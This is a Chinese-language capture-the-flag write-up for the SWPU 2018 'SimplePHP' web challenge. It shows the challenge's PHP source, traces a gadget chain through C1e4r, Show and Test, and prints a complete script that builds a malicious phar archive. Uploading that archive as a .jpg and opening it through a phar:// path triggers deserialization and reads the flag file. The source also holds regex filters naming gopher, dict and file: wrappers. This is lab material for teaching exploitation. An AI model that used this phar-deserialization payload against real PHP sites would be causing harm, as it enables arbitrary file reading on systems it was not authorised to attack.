[SWPU 2018]SimplePHP
web类题目，第一件事就是打开源代码
提示：
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user">
根据提示访问一下上传文件的php页面和index.php页面
<?php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>
</script>
</body>
</html>
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()//触发tostring
{
$this->test = $this->str;
echo $this->test;
//9.这里会将this->str赋给test，
//只要test为一个对象，就可以触发tostring,所以在构造的时候传给str一个show对象
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()//8.谁可以触发__toString()
{
$content = $this->str['str']->source;//7.这里触发了__get
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)//6.哪里触发了__get
{
return $this->get($key);//5.调用了get
}
public function get($key)//4.寻找谁可以调用get函数
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);//3.这里调用了file_get
}
public function file_get($value)//2.寻找谁可以调用该函数
{
$text = base64_encode(file_get_contents($value));//1.最终要触发的函数位置
return $text;
}
}
?>
访问 phar://phar.jpg → 触发 PHAR 反序列化
反序列化 $c（C1e4r 对象）→ 触发 C1e4r::__destruct()
echo $this->test（Show 对象）→ 触发 Show::__toString()
$this->str['str']->source（Test 对象无 source 属性）→ 触发 Test::__get('source')
Test::__get() → 调用 Test::get('source')
Test::get() → 从 $this->params['source'] 获取路径
Test::file_get('/var/www/html/f1ag.php') → 读取文件并返回 Base64 内容
结果通过 echo 输出
构造payload：
<?php
class Test
{
public $str;
public $params;
}
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str = array();
}
$t = new Test();
$c = new C1e4r();
$s = new Show();
$t->params['source'] = '/var/www/html/f1ag.php';
$s->str['str'] = $t;
$c->str = $s;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($c); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
然后访问upload/ 可以看到上传的文件名
再通过file.php来读取该文件
file.php/?file=phar://upload/xxxxxxxxxxxxxxxxxxx.jpg</font>
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